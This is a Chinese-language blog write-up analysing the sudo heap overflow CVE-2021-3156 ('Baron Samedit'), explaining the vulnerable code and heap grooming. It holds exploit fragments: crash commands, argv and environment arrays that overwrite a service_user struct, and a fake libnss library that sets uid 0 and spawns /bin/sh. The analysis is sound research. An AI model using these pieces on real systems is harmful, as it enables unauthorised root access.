【kernel exploit】CVE-2021-3156 sudo漏洞分析与利用
影响版本:
1.9.0 <= Sudo <= 1.9.5 p1 所有稳定版(默认配置)
1.8.2 <= Sudo <= 1.8.31 p2 所有老版本
最新的系统,如Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), Fedora 33 (Sudo 1.9.2) 都受到影响。
编译选项:
# 编译(如果默认版本有漏洞,则不需要编译)
$ wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz
$ tar xf sudo-SUDO_1_9_5p1.tar.gz
$ cd sudo-SUDO_1_9_5p1/
$ mkdir build
$ cd build/
$ ../configure --enable-env-debug
$ make -j
$ sudo make install
# 调试 (需以root运行gdb,漏洞代码是动态加载的,直接下断点下不到,crash之后再下)
$ gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`
$ b ../../../plugins/sudoers/sudoers.c:964
$ b ../../../plugins/sudoers/sudoers.c:978
漏洞描述:CVE-2021-3156(该漏洞被命名为“Baron Samedit”)——sudo在处理单个反斜杠结尾的命令时,发生逻辑错误,导致堆溢出。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。漏洞引入时间为2011年7月(commit 8255ed69),漏洞存在时间达10年。
补丁:目前官方已在sudo新版本1.9.5 p2中修复了该漏洞,官方下载链接:https://www.sudo.ws/download.html
测试版本:Ubuntu 19.04 exploit
利用过程:
- 1.首先利用传递的
LC_MESSAGE
(或者LC_ALL
)环境变量申请并释放一块cache; - 2.分配
service_user
结构; - 3.控制输入参数的长度,使得
user_args
占据LC_MESSAGE
释放后的空闲chunk; - 4.
user_args
溢出并覆盖第1个service_user
结构,覆盖service_user->name
为伪造库名; - 5.利用libc中的
nss_load_library()
函数来加载伪造库,执行伪造库中的_init
函数(提权)。
1.sudo简介
sudo是可以允许管理员让普通用户执行root命令的1个工具,相当于su或者halt的命令,这样可以减少root登陆时间和管理,也可以提高linux系统的安全性。
2.漏洞检测
检测是否含有此漏洞:
- 在非root权限下,运行命令
$ sudoedit -s /
。 - 若出现以
sudoedit:
开头的错误响应,则系统受到此漏洞影响; - 若出现以
usage:
开头的错误响应,则表示该漏洞已被补丁修复。
3.代码分析
命令行模式下运行sudo,加上-s
选项会设置MODE_SHELL
flag;加上-i
选项会设置MODE_SHELL
flag 和 MODE_LOGIN_SHELL
flag。首先看sudo的main()
函数开头调用了parse_args()
,parse_args()
会连接所有命令行参数(587-595行)并给元字符加反斜杠(590-591行)来重写 argv
(609-617行)。
// parse_args()
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
572 char **av, *cmnd = NULL;
573 int ac = 1;
...
581 cmnd = dst = reallocarray(NULL, cmnd_size, 2);
...
587 for (av = argv; *av != NULL; av++) {
588 for (src = *av; *src != '\0'; src++) {
589 /* quote potential meta characters */
590 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
591 *dst++ = '\\';
592 *dst++ = *src;
593 }
594 *dst++ = ' ';
595 }
...
600 ac += 2; /* -c cmnd */
...
603 av = reallocarray(NULL, ac + 1, sizeof(char *));
...
609 av[0] = (char *)user_details.shell; /* plugin may override shell */
610 if (cmnd != NULL) {
611 av[1] = "-c";
612 av[2] = cmnd;
613 }
614 av[ac] = NULL;
615
616 argv = av;
617 argc = ac;
618 }
之后,在sudoers_policy_main()
函数中,set_cmnd()
连接命令行参数并存入堆缓冲区 user_args
(864-871行),跳过元字符(866-867行),目的是匹配sudoer和记录日志。
// set_cmnd()
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
...
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) { // 把命令行参数放入from里面
865 while (*from) {
866 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++; // 将输入的命令行参数拷贝到堆空间 user_args
869 }
870 *to++ = ' ';
871 }
...
884 }
...
886 }
但如果命令行参数以1个反斜杠结尾:
- 866行,
from[0]
是反斜杠,from[1]
是null结束符(非空格); - 867行,from加1,指向null结束符;
- 868行,null结束符被拷贝到
user_args
堆缓冲区,from又加1,from指向了null结束符后面第1个字符(超出参数的边界); - 865-869行,while loop 继续将越界的字符拷贝到
user_args
堆缓冲区。
所以,set_cmnd()
存在越界写,溢出user_args
堆缓冲区(size是在852-853行中计算)。根本原因就是,sudo默认\
后面肯定跟着元字符,实际上\
后面只有1个结束符。
4.漏洞分析
正常情况下,命令行参数不会以1个反斜杠结尾,流程分析如下:如果设置了MODE_SHELL
或 MODE_LOGIN_SHELL
(858行,到达漏洞代码的必要条件),且由于设置了MODE_SHELL
(571行,parse_args()
换码了元字符,包括反斜杠,末尾的1个反斜杠前又加了1个反斜杠,变成了2个反斜杠,就不存在1个反斜杠结尾的情况了)。
但是,换码代码parse_args()
和漏洞代码set_cmnd()
的条件不相同。
// parse_args() 换码代码
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
// set_cmnd() 漏洞代码
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
猜想:能否设置 MODE_SHELL
和 MODE_EDIT
/MODE_CHECK
,但不设置 MODE_RUN
,这样跳过换码代码parse_args()
(避免1个反斜杠变成2个反斜杠),直接执行漏洞代码 set_cmnd()
。
答案:不行。只要设置了MODE_EDIT
(-e, 361行)/MODE_CHECK
(-l, 423+519行),parse_args()
就会从valid_flags
移除MODE_SHELL
(363+424行),如果此时还设置了MODE_SHELL
就会报错(532-533行)。
358 case 'e':
...
361 mode = MODE_EDIT;
362 sudo_settings[ARG_SUDOEDIT].value = "true";
363 valid_flags = MODE_NONINTERACTIVE;
364 break;
...
416 case 'l':
...
423 mode = MODE_LIST;
424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
425 break;
...
518 if (argc > 0 && mode == MODE_LIST)
519 mode = MODE_CHECK;
...
532 if ((flags & valid_flags) != flags)
533 usage(1);
漏洞:如果执行sudoedit
命令(而非sudo
),则parse_args()
会自动设置MODE_EDIT
(270行)且不会重置valid_flags
,这样MODE_SHELL
就还在valid_flags
中(127+249行),不会报错。
127 #define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
249 int valid_flags = DEFAULT_VALID_FLAGS;
...
267 proglen = strlen(progname);
268 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
269 progname = "sudoedit";
270 mode = MODE_EDIT;
271 sudo_settings[ARG_SUDOEDIT].value = "true";
272 }
结果:只要执行sudoedit -s \
,就能同时设置MODE_EDIT
和MODE_SHELL
,但不设置MODE_RUN
。跳过parse_args()
中的换码代码,直接执行漏洞代码set_cmnd()
,溢出user_args
堆缓冲区。
$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
从攻击者角度来看,该缓冲区溢出可利用的原因如下:
user_args
堆缓冲区的size可控(852-854行,size就是命令行参数合并后的长度);
- 能分别控制size和溢出的内容(第一段命令行参数后紧跟第二段命令行参数,第二段命令行参数不包含在size中);
- 可以写null字节到
user_args
(每个以单反斜杠结尾的命令行参数或环境变量,都能往user_args
写1个null字节,见866-868行)。
- 可以写null字节到
例如,amd64 Linux中,以下命令会分配24字节的user_args
缓冲区(实际分配32字节),并将下一个堆块的size覆盖为A=a\0B=b\0”
(0x00623d4200613d41),fd覆盖为C=c\0D=d\0
( 0x00643d4400633d43),bk覆盖为E=e\0F=f\0
(0x00663d4600653d45)。
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
---------------------------------------------------------------------
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
写连续的多个null:其实环境变量并不一定得是env_name=XXX
这种形式,环境变量可以是字符串数组。C代码中用execve
执行shell命令,环境变量设置2个连续的\
即可插入2个连续的null字节。
char *env[] = { "BBBBBBBB", "\\", "\\", "CCCCCCCC", NULL };
execve("/usr/bin/sudoedit", argv, env);
5.漏洞利用
(1)目标与挑战
目标:溢出后覆盖service_user
结构。该结构出现在libc的nss_load_library()
函数中,用于加载动态链接库。如果能覆盖service_user->name
,就能指定加载我们伪造的库,利用root权限运行非root权限的库。
// 1. service_user 结构
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
// 2. nss_load_library() 函数
static int nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table, // (1)设置 ni->library
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, // (2)伪造的库文件名必须是 libnss_xxx.so
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name); // (3)加载目标库
//continue long long function
挑战1:可以看到nss_load_library()
函数中,满足条件ni->library != null
和ni->library->lib_handle == NULL
才能加载新库。
解决:如果ni->library == null
,恰好代码(1)处ni->library = nss_new_service(....
可以设置 ni->library
,所以只要把ni->library
覆盖为null即可。找到离user_args
地址最近的第1个service_user
结构
挑战2:如何覆盖链表指针struct service_user * next
,加载新库时会根据该指针进行链表遍历。如果利用时意外覆盖了第2个service_user
结构,由于无法泄露地址,next
指针填充错误就会导致段错误。
解决:只覆盖第1个service_user
结构,将next
指针覆盖为null即可。这意味着我们必须找到user_args
之后的链表中的第1个service_user
结构在哪里。这是最大的挑战,需要精准控制堆分配。
(2)定位service_user
结构地址
利用name systemd
和mymachine
来定位service_user
结构。先在user_args
分配点下断以查看链表,然后搜索systemd
并遍历list,直到找到第1个靠近分配点的service_user
(结合A溢出的多次测试,了解其崩溃的结构)。
以下展示了内存中和对应到vmmaps中不同的service_user
name。图中可见,第2个对应systemd
的vmmap,其偏移距离堆基址0x47e0。另一个偏移为0x4790的service_user
和它相距0x50,这两个结构连在一起,所以目标就是覆盖0x4790处的service_user
结构。为什么不覆盖0x2000偏移处的service_user
结构呢?因为你不能过早的把user_args
分配到那么靠前的堆区域。
(3)堆排布
问题:所以如何将user_args
分配到service_user
结构前面呢?(尽早分配user_args
)
解决:能否找到一个在service_user
结构之前被申请并被释放的空闲块呢?这样分配user_args
堆块时就能用到这个空闲块了。
// /src/sudo.c
150: int main(int argc, char *argv[], char *envp[])
151: {
...
171: setlocale(LC_ALL, "");
...
216: sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv, &settings, &env_add);
...
main()
中较早调用了setlocale()
(介绍)函数,setlocale()
函数中第154行,可以分配并释放几个LC环境变量(LC_CTYPE,LC_MESSAGES,LC_TIME等),这样就在Sudo的堆开头处留下了空闲的fast/tcache chunks。我们通过在``setlocale()中下断点,来检查
setlocale()`会释放哪些大小的块。发现如下两个有趣的空闲块:
其中,第二个chunk会在setlocale()
函数外被再次分配和释放,显得不太可靠。除此之外,找不到其他的LC变量会释放空闲块了。
heap bin的知识:这里再简单介绍下heap bin的知识,空闲块是用多个链表存储的,这些链表按块大小排序。有如下5种链表(bin就是链表)。
tcache
——大小为0x20-0x408,实现超快速分配;fast bins
——大小为0x20-0x80,也是超快速分配;small bins
——比tcache
和fast bins
要大;large bins
——大型的chunk;unsorted bin
——未分类的chunk。
现在我们只关注tcache
和fast bins
,因为其他类型的chunk可能会被合并,很难预测chunk的状态。chunk大小以0x10递增。
我们可以使用LC_MESSAGE
环境变量,在setlocale()
函数中释放该空闲块,这样之后触发漏洞时就能把user_args
分配到该空闲块的位置上。这样就把溢出块放在了heap上很靠前的位置。
但是要确保在分配user_args
时,用到的正是LC_MESSAGE
变量释放的块(因为在setlocale()
之后,分配user_args
之前可能还分配了其他chunk)。幸运的是最后得到了这个chunk:
上面是user_args
这个chunk,下面是目标字符串mymachine
,相差只有0x4790 - 0x4370 == 0x420
字节。
现在,只需填充null直到覆盖第1个service_user
结构,将service_user->ni-library
覆盖为null,且将name覆盖为伪造库的库名。
首先设置如下参数,使得分配的user_args
堆块大小和LC_MESSAGE
环境变量释放的堆块大小一样。
char *args[] = {
"/usr/bin/sudoedit",
"-s",
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA\\",
NULL
}; //B and A's to match the chunk size we want freed in the beginning
然后,创建很长的环境变量,结尾放置伪造的service_user
结构:
char *extra_args[] = {
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\x01\\",
"\\",
"\\",
"\x01\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"\\",
"X/X\\",
"a",
"LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
NULL,
};
接着nss_load_library()
函数中的_stpcpy()
会根据X/X\\
参数,来创建路径libnss_X/X.so.2
。
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
最后,只需伪造一个名为libnss_X/X.so.2
的库,其中init
函数负责设置id并执行/bin/sh
即可。编译选项为gcc -Os -Wall -Wextra -fPIC -shared nss.c -o X.so.2
#include <stdlib.h>
#include <stddef.h>
#include <unistd.h>
static int __attribute__((constructor)) ___init(void)
{
char *argv[2] = {"sh", NULL};
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
return execve("/bin/sh", argv, NULL);
}
成功加载伪造库:
弹出shell:
结论:最终的利用是100%可靠的,使用Ubuntu 20.10,libc版本 2.32并开启ASLR。
6.测试exp
第5节分析的原文作者没有公开exp,我测的exploit来自https://github.com/blasty/CVE-2021-3156,在ubuntu 19.04(sudo版本为1.8.27)下也能成功提权。这两个exp的区别是利用的环境变量名不一样,第5节利用的是LC_MESSAGE
环境变量来创建空闲块,blasty的exp利用的是LC_ALL
环境变量,所以覆盖的偏移不同。
参考
CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)
https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
cve-2021-3156-sudo堆溢出简单分析——含调试过程
https://github.com/blasty/CVE-2021-3156
https://github.com/stong/CVE-2021-3156
文档信息
- 本文作者:bsauce
- 本文链接:https://bsauce.github.io/2021/02/01/writeup-CVE-2021-3156/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)